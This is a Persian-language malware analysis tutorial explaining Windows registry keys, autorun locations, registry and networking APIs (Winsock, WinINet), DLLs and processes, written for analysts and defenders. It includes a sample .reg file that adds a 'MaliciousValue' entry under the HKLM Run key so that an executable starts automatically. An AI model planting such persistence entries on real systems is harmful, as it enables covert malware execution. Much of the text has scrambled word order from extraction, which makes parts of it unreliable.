 تشریح واژگان رجیستری ویندوز: 2جدول  

 توضیحات  نوع

پنج    یستریرج 8ریشه کلید  از بخش   یمتقس  بخشبه  است که هر کدام   یدهایها کلشده 

م  9یشهر همچنشوندی خوانده  واژه    یگاه   ین.  هم    hiveو    HKEYاوقات، 

 
1 The Windows Registry 
2 File System 
3 Networking  
4 Drivers  
5 Startup  
6 User Account  
7 Persistence  
8 Root Key 
9 Root keys 



 

هدف خاص هستند که   یک  یدارا  یشهر  یدهای از کل  یک. هر  شوندیاستفاده م
 د شد. نداده خواه یحتوض در ادامه

 . باشدیم دیرکتوری یکدرون  دیرکتوری  یرز یکمثل  یدکل یرز یک 1زیر کلید 

 یاضاف  یهادیرکتوری  دتواناست که می  یستریدر رج دیرکتوری  یک  یدکل  یک 2کلید 
 هستند.  یدها هر دو کل یدکلیرو ز یشهر یدهایکند. کل یرهمقدار در خود ذخ یا

 جفت مرتب با نام و مقدار است.  یک یمقدار ورود یک 3مقدار ورودی 

 شوند. یم یرهذخ یستریرج یتموجود یکهستند که در  ی داده اطلاعات یامقدار  4مقدار یا داده 

 

 ریشه رجیستری  کلیدهای

 . اندتوضیح داده شده 3که در جدول  تقسیم شده است رجیستری به پنج کلید ریشه 

 تشریح کلیدهای رجیستری ویندوز: 3جدول 

 توضیحات کلید

HKEY_LOCAL_MACHINE (HKLM) کندیم یرهذخ ،هستندقابل دسترس  یمحل ینماش در کلکه  یماتتنظ. 

HKEY_CURRENT_USER (HKCU) کندی م یرهمشخص شده را ذخ یکاربر جارکه فقط برای  یماتتنظ . 

HKEY_CLASSES_ROOT کندیم یرهشده را ذخ یفتعر یهااطلاعات نوع. 

HKEY_CURRENT_CONFIG کندیم یرهافزار را ذخسخت  یجار یکربندیاطلاعات پ. 

HKEY_USERS کندیم یفتعر یو کاربران جار یدکاربران جد فرض،یشکاربر پ یبرا یماتتنظ. 

ها در واقع کلید مجازی هستند که  کلید  برخیهستند.    HKCUو    HKLMریشه    کلیدهایترین  دو تا از رایج

ارائه   رجیستری  درون  اطلاعات  به  ارجاع  برای  راه  کلید  دهندمییک  مثال،  عنوان  به   .

HKEY_CURRENT_USER    در واقع درHKEY_USERS\SID    .ذخیره شده استSID    شناسه امنیتی

 کاربر جاری است.  

،  شودمیاستفاده    ارها به منظور اجرای خودکار توسط بدافزها که  مثال، یکی از مشهورترین زیرکلیدبه عنوان  

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio

n\Run  کاربر    که هنگامیست. این مقادیر اجرایی  امل یک مجموعه از مقادیری اجرایی  است. این زیرکلید شا

 
1Subkey 
2Key 
3Value entry 
4Value or data 



 

شروع  شودمیوارد    سامانهبه   را  خود  کار  خودکار  صورت  به  ریشه    در .  نندکمی،  کلید  مثال  این 

HKEY_LOCAL_MACHINE    زیر و  ، SOFTWARE  ،Microsoftآن    کلیدهایاست 

Windows ،CurrentVersion   وRun  .هستند  

 Regeditابزار  

ابزار ویندوز6تصویر  (، نمایش داده شده در  regedit)  برنامه ویرایشگر رجیستری است که برای    ی، یک 

نجره  پدهد.  میباز شده را نشان    کلیدهایپنجره سمت چپ زیر    .شودمیو ویرایش رجیستری استفاده  مشاهده  

. هر مقدار موجود دارای یک نام، نوع و مقدار است.  دهدمیها را نمایش  مقادیر موجود در زیر کلیدسمت راست  

 . اندشدهجاری در پایین پنجره نمایش داده  کلیدهایمسیر کامل برای زیر 

 ها رای خودکار برنامه اج 

خودکار    اندازیراهنشان داده شده است( یک راه بسیار مشهور برای    6تصویر  )که در   Run نوشتن در زیر کلید

است. با این حال این روش خیلی مخفیانه نیست، اغلب این روش توسط    سامانه  بارگذارییک برنامه در هنگام  

  .شودمیار استفاده بدافزارها برای اجرای خودشان به صورت خودک

 
 ابزار ویرایشگر رجیستری: 6 تصویر

توانید از  شوند، میعامل اجرا میهایی که در حین بارگذاری سامانهشایان ذکر است، به منظور مشاهده برنامه

ی  هایبرنامهتمامی  محیط آن نمایش داده شده است. این ابزار    8کنید که در تصویر  استفاده    Autoruns  ابزار

ی پویای پیوندی که در مرورگر  هاکتابخانه،  شوندمیبه صورت خودکار اجرا    عاملسامانه  بارگذاریکه در زمان  

IE    دیگر و  شده  بارگذاری  هابرنامهو  راههمچنین  اند  د  یانداز درایورهای    بارگذاری   عاملکرنل سامانهر  که 

 کنید. ، تمامی این اطلاعات را مشاهده می8در تصویر  . دهدنمایش می ،اندشده 



 

 

 
 کند.آپ را مشخص میهای اجرایی در زمان استارتکه برنامه Autorunsمحیط برنامه : 8تصویر 

  ، اندشدهبه صورت خودکار طراحی    ها برنامه  اندازیراهکه برای  را  مکان    30الی    25حدود    Autoruns  برنامه

هایی است که توسط  این برنامه جزوء برنامه  نیاز ندارد. ها  آن  به لیست همه  ، با این حال لزوماًکندمیبررسی  

اگر این مجموعه از ابزارها  انتشار پیدا کرده است.    Sysinternalsپکیج ابزارهای مدیریت ویندوز با عنوان  

 .نلود کردید، به این ابزار هم دسترسی خواهید داشترا دا

 رجیستری   توابع رایج

خود به صورت خودکار  ی  در رجیستری و اجرا به منظور ایجاد تغییر    ویندوز   اغلب از توابع رجیستری   بدافزارها 

هستند. در لیست  (  Windows API) ویندوز  نویسی  های برنامهرابطاین توابع قسمتی از    .کنندمیاستفاده  

است.   ترین رایجزیر   شده  آورده  رجیستری  رابط  توابع  این  درباره  بیشتر  اطلاعات  برنامهبرای  و  های  نویسی 

مایکروسافت رجوع    msdnها از این رابط ها استفاده شده است به  همچنین مشاهده نمونه کدهایی که در آن

 اند.  ده ها تشریح ش، به صورت خلاصه این رابط4در جدول  کنید. 

 



 

 تشریح توابع رجیستری ویندوز  :4جدول 

 توضیحات  نام تابع 

RegOpenKeyEx   تابع و    کلید  یکاین  ویرایش  اعمال  برای  را  باز    کوئریرجیستری 
می می اجازه  که  دارند  وجود  دیگری  توابع  کلید  کند.  یک  دهند 

را باز کنید، اما   که آنبدون این ،کنیدکوئری رجیستری را ویرایش و  

 کنند. استفاده می  RegOpenKeyExها از بیشتر برنامه 

RegSetValueEx  کند.می یک مقدار جدید به رجیستری افزوده و برای آن داده تنظیم 

RegGetValue دهدرا بازگشت می در رجیستری  یک عنصر مقدار  اطلاعات . 

دسترسی   هاکه بدافزار به آنرا  رجیستری    کلیدهایردید، باید  ک این توابع را در بدافزار مشاهده    کههنگامی

ی رجیستری  ، تعداد زیادآپدر استارت  اجرابرای  رجیستری    هایشناسایی کنید. علاوه بر کلید،  گرفته است

 مهم هستند.    سامانهدیگر وجود دارد که برای امنیت و تنظیمات 

باید کمی در گوگل  درباره آنها  اطلاعات    آوری جمعبسیار گسترده است و برای    ها واقعاً لیست این رجیستری

مشاهده    هتمام آن اطلاعات را در این کتاب جای داد. با این حال، هرگا  توانمیبه جستجو بپردازید. چون ن

 در گوگل به جستجو بپردازید.  کافی است  ،کردید که بدافزار به یک رجیستری خاص دسترسی گرفته است

 ی عمل به صورتهای رجیستری  تجزیه و تحلیل کد 

را از رجیستری باز کرده و یک    runکلید زیرکه  دهدمییک بدافزار واقعی را نمایش  اسمبلیدیز کد 8لیست  

به صورت خودکار اجرا کند.    عاملسامانهبدافزار را در هر بار اجرای  فایل اجرایی  که  ت  افزوده اسمقدار به آن  

  کلید مذکور   رجیستری را ویرایش کرده یا اگرکلید  مقدار یک    ،که شش پارامتر دارد  RegSetValueExتابع  

 . کندمیجدید ایجاد  نمونهیک  ،وجود نداشته باشد

مان  مشاهده هنگام    نکته: تابع  یک  ،  RegOpenKeyExد  نمستندات 

RegSetValuEx  غیره توسعه  و  شبکه  )در  مایکروسافت    ( MSDNدهندگان 

چون این دو حرف مشخص    .در نظر نگیریدرا  این توابع  آخر    Aیا    Wکاراکتر  

 کنند.نویسی پشتیبانی میهای برنامهکننده انکدینگ کاراکترهایی هستند که رابط



 

 
 دهد تنظیمات رجیستری را تغییر میکدی که : 8لیست 

در ارتباط با دستورات اسمبلی و همچنین پارامترهایی که    ،8لیست    اسمبلیدیزکدهای  در پایان بیشتر خطوط  

  ات،. در بیشتر حالات، توضیح وجود داردی  اتکالن توضیحسمیکاراکتر  بعد از  ،  است  به یک تابع عبور داده شده

 .  اندکه در پشته قرار داده شدههایی هستند نام پارامتر

،  samDesired  ،ulOptionsاین بدافزار پارامترهای    اسمبلیدیزکد    چهار خط اولدر  به عنوان مثال،  

Software\\Microsoft\\Windows\\CurrentVersion\\Run    وhKey    تابع

RegOpenKeyExW اسمبلر کنید که توسط دیزرا مشاهده میIDA Pro اندسایی و مشخص شدهشنا . 

مقادیر  درباره  توضیحات  تابع  این  داده    پارامترهای  قرار  پشته  در  بدافزاربه  اند  شدهکه  اطلاعات    تحلیلگر 

عنوان  .  دهندمیارزشمندی   م مثبه  نمونه،  این  در  امنیتی ن  samDesiredپارامتر  قدار  ال  دسترسی  وع 

شده   میدرخواست  نشان  فیلد  دهدرا  عدد صحیح    ulOptionsپارامتر  ،  نمایش  یک  برای  بدون علامت 

دسترسی قرار گرفته    موردبرای کلید ریشه است که  هندل  یک    hKey  پارامتر  و   استتابع  فراخوانی    ی هاگزینه

 است. 

را با    RegOpenKeyExتابع    ( نشان داده شده است،1)شماره    8بدافزار مورد تحلیل همانطور که در لیست  

نیاپارامترهای که  به  ی  هندل  ز  یک  کردن    رجیستری باز 

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run    ،فراخوانی  دارد

در    واند  شده این تابع ذخیره    پارامترهایدر پشته به عنوان    ( 4شماره  )و داده    ( 5شماره  )کرده است. نام مقدار  



 

به منظور دریافت    (2شماره  )   lstrlenW  . فراخوانیاندشدهنمایش داده    IDA Pro  گذاری برچسباینجا با  

   داده شده است.عبور  RegSetValueExنیاز است که به عنوان یک پارامتر به تابع   ها دادهاندازه 

 regی . هافایل  نویسی رجییستری بااسکریپت 

  یک کاربر  که هنگامی.  شودمیرجیستری قابل خواندن توسط انسان    هایدادهشامل    regفایل ها با پسوند .

خودکار رجیستری را با اطلاعات درون خود تغییر    این فایل به صورت  دو بار کلیک کند،    regیک فایل .  روی

برای تغییر    regی .هافایل  گاهی اوقات از  بدافزارهاد،  یکه ممکن است تصور کرده باش  طورهمان.  دهدمی

ر استفاده  دادن  اوقات کنندمیجیستری  بیشتر  گرچه  انجام  نویسبرنامه  ،  مستقیما  کدنویسی  با  را  کار  این  ان 

 .دهدمیرا نمایش  regیک مثال از یک فایل .  9. لیست  دندهمی

Windows Registry Editor Version 5.00 

 

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 

"MaliciousValue"="C:\Windows\kcoope.exe 

 regمثال فایل .: 9لیست 

مطابق    5.00. در این جا، نسخه  کندمیبه سادگی نسخه ویرایشگر رجیستری را لیست    9اولین خط از لیست  

آن را در این قسمت داریم که فایل بدافزار ما به صورت خودکار    یریتغقصد    ی که است. کلید  XPبا ویندوز  

شود،     HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run  کلیداجرا 

. این لیست  شودمیشامل مقدار نام و داده برای کلید    reg. آخرین خط از فایل .قرار دارداست که درون براکت  

نام   فایل  ، که خوMaliciousValueمقدار  در    C:\Windows\kcoope.exeدکار    عاملسامانهرا 

 افزاید. به رجیستری می ،کندمیاجرا 

 1شبکه  نویسیهای برنامه ابطر

کارکام   بدافزارها  انجام  برای  شبکه  توابع  به  تعمخرب  های  لا  و  هستند  متکی  زیادی  د خود  بسیار  رابط  اد 

 2شبکه مبتنی بر    که وجود دارد. عملیات ایجاد سیگنیچرهای ویندوز برای برقرار ارتباط تحت شب  نویسیبرنامه

 
1 Networking APIs 
2 Network Signatures 



 

روی آن متمرکز خواهیم شد. هدف ما در  های بعدی این سلسله مقالات  قسمتبسیار پیچیده است و ما در  

متوجه شوید    هاتا با شناسایی آن  این قسمت نشان دادن چگونگی تشخیص و درک برخی توابع شبکه است

 . دهد انجامقادر است   کارهایی، چه کنندمیاز این توابع استفاده  کههنگامییک برنامه مخرب 

 1برکلی سازگار  های  سوکت 

  شبکهکار با    ی برا  یسینو برنامه  یها شامل رابط  یا کتابخانه  3دی اسیب  ی هاسوکت  یاو    2ی برکل  ی هاسوکت

بامکان  ها  سوکت  ین که ا  هستند را فراهم میدو یا چند پروسه در ماشین  ینارتباطات    .ندکنهای گوناگون 

  عامل سامانه  ینسرچشمه گرفتند که ا  BSD 2.4  عاملاز سامانه  یسینوبه عنوان رابط برنامه  یبرکل  یهاسوکت

 منتشر شد.    1983در سال 

ها  سوکت  ینرا به همراه دارند چون ا  یبرکل  یهااز سوکت  سازییادهپ  یکمدرن    های عاملسامانهامروزه تمام  

برا استاندارد  ا  یدسترس  یروش  ا  ینترنتبه  زبان سرابط  ین هستند.  به  ب  یها در اصل  اما   یشتر نوشته شدند 

  ی هااز آنها در اکثر زبان  توانمیو    دهندیرا در دسترس کاربر قرار م  مشابهی   یهارابط  یسینوبرنامه  ی هازبان

 مدرن استفاده کرد.  یسینوبرنامه

  کنند میاستفاده  ای خود  ها برای تعاملات تحت شبکهاین سوکتخیلی رایجی از    به شکل  بدافزارها با این حال،  

برکلی    یهاسوکتای  شبکه  ویژگیمشابه است.  تقریبا    یو لینوکسی ویندوزی  هاسامانهروی  آن    کارکردکه  

شایان  است.  شده    سازیپیادهویندوز    ws2_32.dllه  کتابخان  در  خصوصبه    Winsock  هایکتابخانهدر  

تر  نسبت به بقیه رایج recvو  socket  ،connect ،bind ،listen ،accept ،sendتوابع ذکر است، 

 . اندشدهتشریح  5هستند که در جدول 

 توابع شبکه سوکت های سازگار برکلی : 5جدول 

 توضیحات  تابع 

Socket  کند.ایجاد میارتباطی یک سوکت  این تابع 

Bind   قبل   ،کندپیوست می  بر روی ماشین  خاص  یک سوکت را به یک پورتاین تابع

 شود.  فراخوانی acceptاز اینکه تابع 

Listen   د.کنمی  مشخصرا  یک سوکت در حالت شنود برای پذیرفتن یک ارتباط  این تابع 

 
1 Berkeley Compatible Sockets 
2 Berkeley sockets 
3 BSD sockets 



 

Accept   همچنین برقراری   کرده وبرقرار  راه دور  از  سوکت    ا یکیک اتصال باین تابع
 کند. را تایید می ای شبکه ارتباط یک 

Connect   تابع بااین  اتصال  دور    یک  یک  راه  است،    کند؛برقرار می سوکت  ذکر  شایان 
 باشد. انتظار برقراری ارتباط  در حالت سوکت راه دور باید

Recv  کند. سوکت راه دور دریافت می یک اطلاعات را ازاین تابع 

Send  کند.اطلاعات را به یک سوکت راه دور ارسال میاین تابع 

 

 WSAStartupقبل از فراخوانی هر تابع باید ابتدا تابع  شایان ذکر است،نکته : 

کتابخانه  به  منابع  تخصیص  منظور  هنگام به  فراخوانی شود.  ویندوز  شبکه  های 

توقف  مشاهده   نقطه  یک  گذاشتن  کد،  دیباگ  هنگام  در  شبکه  ارتباطات 

(Breakpoint در قسمت )WSAStartup تواند مفید باشد.می 

 

 1شبکه سمت کاربر و سمت سرور 

ظار برای  باز را در حالت انت  پورت  : سمت سرور که یکتحت شبکه وجود دارد  هایبرنامههمیشه دو جهت در  

  ،که در سمت سرور در حالت باز قرار گرفته است  پورتیکه به    کلاینتدارد و سمت  دریافت یک اتصال نگه می

 ها باشد. یناز ا  یکی دتوانمیبدافزار . شودمیمتصل 

 
 های برکلی دیاگرام ارتباطی سوکت: 7 تصویر

 
1 The Server and Client Sides of Networking 



 

را به دنبال    Socket  تابع  ، فراخوانی شوندمیکه به یک سوکت راه دور متصل    کلاینت سمت    هایبرنامهدر  

توابع  connect  تابع   فراخوانی فراخوانی  ادامه  در  برای یک  را    recvو    send  و  کرد.  مشاهده خواهید 

و    socket  ،bind  ،listenتوابع    ،گیردمیدر حال شنود قرار    برقراری ارتباطسرویس کاربردی که برای  

accept  در صورت لزوم    همچنینsend    وrecv    الگو در  شوند میبه ترتیب فراخوانی   هایبرنامه. این 

 . دهدمییک مثال از یک برنامه سمت سرور را نشان   10مخرب و غیر مخرب مشابه است. لیست  

: کنترل  نکته  تمامی  مثال  این  پارامترهای  کننده در  و  نادیده راههای خطا  اندازی 

های مهم برنامه برای این مثال نمایش داده شده است. و قسمت گرفته شده است

حال، این  واقعی  با  مثال  فراخوانی    یک  دیگر    WSAGetLastErrorشامل  و 

 . خواهد شدخطا های کننده کنترل توابع 

 
 یک سوکت سرور  به همراهیک برنامه ساده  :10لیست 

با فراخوانی و سپس  کند  می  مقداردهی اولیه را    Win32های  سوکت  WSAStartupابتدا تابع    مثال بالا   در

پیوست   پورت  یک سوکت را به یک  bindتابع با فراخوانی  کرده و در ادامهایجاد  ارتباط یک   socketتابع 



 

در نهایت با فراخوانی تابع  و    دهدمیسوکت را در حالت شنود قرار    listen  سپس با فراخوانی تابع  ،کندمی

accept  کندمی تاییدراه دور را  سامانهپذیرش یک اتصال از یک  . 

 WinINet   1نویسی برنامه  هایرابط

که  وجود دارد  برای شبکه  نویسی سطح بالاتری  برنامه  ، رابطWinsock  نویسیهای برنامهعلاوه بر رابط

WinINet  نویسیبرنامه  شود. توابع رابطنامیده می WinInet  در کتابخانه  Wininet.dll   اند.  ذخیره شده

نویسی شبکه  های برنامهتوان دریافت که آن از رابطاگر یک برنامه توابعی از این کتابخانه به خود وارد کند می

  را  FTPو    HTTPهایی از قبیل  پروتکل  WinINetنویسی  های  برنامهرابط  .سطح بالا استفاده کرده است

بر مبنای اتصالی که  به هر صورت،  کند.سازی میپیاده( OSI)بالاترین لایه ارتباطی در مدل  2در لایه کاربرد

 خواهد انجام بدهد. چه کاری میبدافزار د نتشخیص دهتوانند تحلیلگران بدافزار میکند بدافزار ایجاد می

 .شودمیاده یک اتصال به اینترنت استف اندازی راهبرای  InternetOpenاز  .1

 .شودمیاستفاده  URLبرای اتصال به یک    InternetOpenUrlاز  .2

 . شوداستفاده میاز اینترنت برای خواندن اطلاعات    InternetReadFileاز  .3

رابطمی  هابدافزار از  گرفتن  اتصال  برای    WinInet  شبکه  نویسیبرنامههای  توانند  و  سرور  یک  به 

 .کنندانی استفاده بقر سامانهبرای اجرا روی خود  بعدی  هایدستورالعمل

 3ی در حال اجرا بدافزارهادنبال کردن 

بر دستورا  فراخونی (  JMP) پرش    های العملعلاوه  دیزاسمبلی    ( CALL)  و  در  قابل    IDA Proاسمبلر  که 

مسیر  ها  آن  د با استفاده ازتوان میوجود دارد که بدافزار  های بسیار دیگری  روش  ،مشاهده و شناسایی هستند

باشید،  دهد.    تغییررا  خود    4ی اجرای را در نظر داشته  نکته  این  بدافزار شناسایی همچنین  برای یک تحلیلگر 

ترین راه  اولین و رایجشایان ذکر است، ی دیگر توسط بدافزار بسیار مهم و حیاتی است. کدها چگونگی اجرای 

 
1 The WinINet API 
2 Application Layer 
3 Following Running Malware 
4 Execution Flow 



 

هستند که در ادامه این بخش مورد بررسی ی  ها کتابخانهی خارج از یک فایل استفاده از  کدها برای دسترسی به  

 . قرار خواهیم داد

 1ی پیوندی پویا ها کتابخانه 

میان    یاکتابخانههای  ویندوز برای به اشتراک گذاشتن کد  عاملسامانهراه جاری  های پیوندی پویا  کتابخانه

یک   است.  کاربردی  برنامه  ن  استاجرایی  فایلیک    Dllچندین  تنهایی  به  اجرا  توانمیکه  توابع    شودد  اما 

 کاربردی مورد استفاده قرار گیرند.  هایبرنامهند توسط دیگر توانها میآن شده اکسپورت

  کمتردند و هنوز هم وجود دارند، اما  بو  یاپو  یوندی پ  یها کتابخانه استاندارد اولیه قبل از   ،2استاتیکی  ها کتابخانه

، این  استاتیکی  هاکتابخانهی پیوندی پویا در مقابل استفاده از  هاکتابخانهرایج هستند. مزیت اصلی استفاده از  

اجرایی به اشتراک    یهاپروسهد میان  توانمیی پیوندی پویا  هاکتابخانهاست که حافظه استفاده شده توسط  

 گذاشته شود.  

متفاوت در حال اجرا فراخوانی و مورد    پروسه د توسط دو  توانمیبه عنوان مثال، یک کتابخانه پیوندی پویا  

باید دو بار در حافظه بارگزاری شوند که همین امر    ها کتابخانهاین    استاتیکاستفاده قرار گیرد، اما در حالت  

حافظه   اتلاف  مزیتی  .شودمیموجب  از  دیگر  از  کی  استفاده  که  ها کتابخانههای  است  این  پویا  پیوندی  ی 

پیوندی پویا شناخته شده ویندوز بدون توزیع مجدد  هاکتابخانهید از  توانمی شوید. این مزیت به    مندبهرهی 

 کاهش دهند.  را   خود هایبرنامهحجم  کندمیهای کاربردی کمک افزارنرمدهندگان بدافزار و توسعه

)یک مفهوم رایج در مهندسی   3کد   از   مکانیزم استفاده مجددی پیوندی پویا یک  ها کتابخانه  شایان ذکر است،

رایج  های ویژگیبرای ارائه برخی از    یافزارنرمهای بزرگ  شرکت. به عنوان مثال،  افزار( بسیار مفید هستندنرم

که برنامه کاربردی خود  سپس هنگامی.  کنندمیجاد  های پیوندی پویا ایکتابخانه  کاربردی خود  هایبرنامهمیان  

را به همراه کتابخانهرا منتشر می اجرایی اصلی برنامه کاربردی  پیوندی پویا  کنند، فایل  استفاده  را  های  که 

 دهد به سادگی کد برنامه خود را نگهداری کنند. کنند. این موضوع به آنها اجازه میتوزیع می ،کندمی

 
1 Dynamic link libraries 
2 Static Libraries (.lib) 
3 Code-reuse mechanism 



 

 ؟ کنند می ها استفاده  Dllگونه نویسندگان بدافزار از  چ 

 : کنندمیبه سه روش استفاده  یا پو یوندیپ یهاکتابخانهنویسندگان بدافزار از  

بدافزار ذخیره کد:  1برای ذخیره کدهای مخرب  • مخرب در یک    های گاهی اوقات، نویسندگان 

فایل   یک  بجای  پویا  پیوندی  می  exeکتابخانه  مفید  بسیار  از  درا  اوقات  گاهی  بدافزارها  انند. 

 .کنندمیدیگر استفاده ی هاپروسهخود در  اینجکتهای پیوندی پویا برای کتابخانه

ی اساسی  ها کتابخانهاز    بدافزارهاهمه    امروزه   : 2ویندوز   یا پو  یوندی پ  یها استفاده از کتابخانه •

که نیاز به تعامل با    استی  هایویژگیی پیوندی پویا ویندوز شامل  ها کتابخانه.  کنندمیویندوز استفاده  

که    کندمیی پیوندی پویا استفاده  هاکتابخانهاین روش یک برنامه مخرب از    درویندوز دارند.  کرنل  

فوق ارائه  العادهبینش  بدافزار  تحلیلگر  به  بررسی  دهد.  میای  شدهتوابع  مسئله  در    ایمپورت  که 

مورد  قسمت  تمامی توابعی که در این  همچنین  مطالعه کردید و  ن سری مقالات  ای  های قبلیقسمت

. در  شوندمی  ایمپورت  هابرنامهی پیوندی پویا ویندوز به  ها کتابخانهاز  ها  آن  همه  ،مطالعه قرار دادید

ی خاص ویندوز را پوشش خواهیم داد و همچنین ها کتابخانه، ما توابع یک سری  قسمتطول این  

 .کنندمیاز آنان استفاده  بدافزارها نشان خواهیم داد که چگونه 

کتابخانه • از  از  توانمیهمچنین    بدافزارها:  3جانبی   یها استفاده  پویا  ابخانهکتند  پیوندی  های 

ده کردید که از یک  ری را مشاهبدافزا   کههنگامی.  ها استفاده کنندبرای تعامل با دیگر برنامه  4جانبی 

در حال برقراری تعامل  ید استنباط کنید که بدافزار  توانمی،  کرده استتابع وارد  به خود  جانبی  کتابخانه  

. به عنوان مثال، یک بدافزار ممکن است از کتابخانه فایرفاکس  با آن برنامه است تا به هدف خود برسد

معکوس برای   اتصال  یک  بجای    با  5برقراری  کند،  استفاده  سرور  رابط  که اینیک    های مستقیما 

قابل ذکر است،    .قرار بدهداستفاده  مورد  سرور  را به منظور برقراری اتصال با یک  ویندوز    نویسیبرنامه

قابلیت برخی  از  استفاده  منظور  به  بدافزارها  از  ویژگیبرخی  یا  و  از  ها  استفاده  به  نیاز  خاص  های 

دارندکتابخانه پیش  هایی  صورت  به  سامانه  فرضکه  نشده  روی  نصب  کتابخانه    اندقربانی  )مانند 

 
1 To store malicious code 
2 By using Windows DLLs 
3 Third-party DLLs 
4 Third-party 
5 Connect back 



 

boost    برایC++)  به عنوان مثال بدافزار برای استفاده از قابلیت رمزنگاری باید از یک کتابخانه .

عامل  استفاده کند که در سامانه  OpenSSLیا    Botanیا    Cryptoppمانند  پیوندی پویا سفارشی  

   فرض وجود ندارد.در حالت پیش 

 1پویا   پیوندی   هایکتابخانه اساسی   استراکچر

 د نکنمیاستفاده    PEاز قالب فایل    Dllی  هافایل  . همچنینهستند  Exeی  هافایل  تقریبا شبیه به   Dllهای  ایلف

یا فایل    ای پیوندی پویاکتابخانهاز نوع  مذکور  دهنده این است که فایل  نشانها  در آن  فلگو تنها فقط یک  

کمی  توابع   ها آنشده زیادی دارند و عموما به    اکسپورتپیوندی پویا توابع   ایکتابخانهی  ها فایل  است.  اجرایی

   وجود ندارد. Exe  یک فایل و Dllاز آن، هیچ تفاوت واقعی میان یک فایل   غیر. دنشومیایمپورت 

جزوء توابع  . این تابع برچسب ندارد و  ستا  DllMainپیوندی پویا، تابع    ای کتابخانهتابع اصلی یک فایل  

. این تابع  شودمیمشخص    Dllبه عنوان نقطه ورودی به فایل    PEفایل  هدر  ، اما در  نیستهم    اکسپورت شده

یا از حالت  (  Load)  بارگذاری  پیوندی پویایی را  کتابخانه  پروسهکه هرگاه یک    شودمیبرای این فراخوانی  

 Dll  به ،  دیبه پایان رس  اجرای یک ترد  که اینیا    شدجدیدی ایجاد    2ترد   ( یاUnloadکرد )خارج    بارگذاری

یا تردی را    پروسهتا منابع هر    دهدمی. این اعلام وضعیت به کتابخانه پیوندی پویا اجازه  رسانی شوداطلاع

 مدیریت کند.  

ترد    که موجب فعالیت   DllMainنی  از فراخوا  منابع ندارند و ترد    هر   برای   های پیوندی پویاکتابخانهبیشتر  

د، آن شومدیریت ترد  منابعی داشته باشد که باید برای هر Dll. به هر حال، اگر کنندمی چشم پوشی  ،شودمی

 ارائه شود. Dllد به عنوان یک امتیاز به تحلیلگر برای شناسایی هدف نتوانمیمنابع 

 3ها پروسه

جدید یا تغییر در   پروسهرا با ایجاد یک خود ند کدهای مخرب خارج از برنامه جاری توانمیهمچنین  بدافزارها

یک برنامه است که توسط ویندوز اجرا شده است.    ،پروسهیک    شایان ذکر است،  موجود اجرا کنند. پروسهیک  

 
1 Basic Dll Structure 
2 Thread 
3 Processes 



 

  یا چندین  یک  پروسهیک  . همچنین  کندمیرا مدیریت  حافظه  و    1باز   هایهندلمنابع خود از قبیل    پروسههر  

اما    اجرایی  پروسهبه صورت سنتی، بدافزار    شوند.میدارد که توسط پردازنده اجرا  ترد   مجزای خود را دارد، 

 . کنند(  2ها اینجکت )خود را به آن اجرا کنند یدیگر  پروسهند خود را در قسمتی از توانمیی جدید بدافزارها

به عنوان    هاپروسهاز    یگردیکها توسط  تداخل در برنامه  یجاداز ا  یریمنابع و جلوگ  یریتبه منظور مد  یندوزو

ویندوز در هر زمانی در حال اجرا    سامانهروی    پروسه  60یا    50. معمولا حداقل  کندیاستفاده م  3ینر کانت  یک

  .گذارندافزار را به اشتراک میسختفایل، حافظه و    سامانهاز جمله پردازنده،    مشابهمنابع    هاآن. همه  هستند

شد.  ها خیلی سخت میبرنامهرا کنترل کند، نوشتن    ها برنامهاگر هر برنامه نیاز داشت منابع اشتراکی با دیگر  

. پیدا کنندتداخل دسترسی  ایجاد  به این نوع منابع بدون    هاپروسهتمامی    دهدمیاجازه  همچنین    عاملسامانه

و خرابی جلوگیری کرده خطاها ایجاد از یکدیگر  روی   دیگر  های برنامههمچنین با جلوگیری از تاثیر  هاپروسه

 . دنکنمیبه پایداری برنامه کمک  و

اشتراکمنبع که مخصوصا    یک منظور  حافظه  منبع    ،استمهم    عامل سامانه  ی برا  هاپروسه  یان م  یگذار به 

تخصیص    هاپروسهحافظه مجزایی از دیگر    پروسه. برای سرانجام رساندن این موضوع، به هر  باشدمی  سامانه

 . کنداستفاده ها  آن د ازتوانمی پروسهکه  داده شده است

 پروسه به    همچنین  به آن حافظه تخصیص خواهد داد و  عاملسامانهنیاز به حافظه دارد،    پروسه  کههنگامی

شایان ذکر  .  تخصیص داده شده دسترسی بگیردد به حافظه  توانمیبا استفاده از آن   که  دهدمیارائه  یک آدرس  

. به عنوان  کنندمیرا اشتراک بگذارند که اغلب این کار را  خود  حافظه  فضای  ند  توانمیهمچنین    هاپروسهاست،  

  تعارضی رخ دهدبدون آنکه  ذخیره کند،    0x00400000چیزی را در آدرس حافظه    پروسهمثال، اگر یک  

اما باید به این نکته توجه کنید، با اینکه   ی ذخیره کنددیگر  ر آن آدرس چیز د دتوانمیدیگر هم   ها پروسهیک 

نخواهند مشابه  خواهند شد،  ذخیره  در پایان در آنجا  زیکی که اطلاعات  ی، اما حافظه فهستندها مشابه  آدرس

 . گویند(  ویندوز عاملدر سامانه Virtual Memoryبود )به این مکانیزم حافظه مجازی یا 

  آدرسبه عنوان مثال، یک  معنا هستند.    یدارا   یحافظه فقط از لحاظ مفهوم  یهاآدرس  ی،پست  یهامانند آدرس

های  کند زیرا در شهر تهران خیابانمعرفی نمیمحل مشخص را    یکمانند )خیابان اصلی در شهر تهران( به شما  

 
1 Open Handlers 
2 Inject 
3 Container 



 

  0x0040A010آدرس  های حافظه بسیاری وجود دارد،  که در آن سلول  امانهبسیاری وجود دارد، مانند س

که  از همین روی، هنگامی  خواهند شد.  یرهذخ  یزیکیاز حافظه ف  یها واقعا در چه مکانکه داده  کندیمشخص نم

بدافزار    پروسهبرای  آنچه که در آن آدرس    بهتنها  گیرد  دسترسی می   0x0040A010آدرس  به  بدافزار  یک  

تحت    کنندمیاستفاده  مجازی  که از آن آدرس    هامابقی برنامه  داشت ودسترسی خواهد  مشخص شده است،  

 . گیرندمیتاثیر قرار ن

به عبارت دیگر    نکته: یا  از    Virtual Memoryمکانیزم حافظه مجازی  یکی 

با این حال، یک تحلیلگر بدافزار و یا یک    ایرایانهمفاهیم پیچیده علوم   است. 

پذیری فعالیت  شخص که قصد دارد در حوزه مهندسی معکوس و یا کشف آسیب

مفاهیم سطح سامانه این  با  باید حتما  از همین روی،    کند  باشد.  داشته  آشنایی 

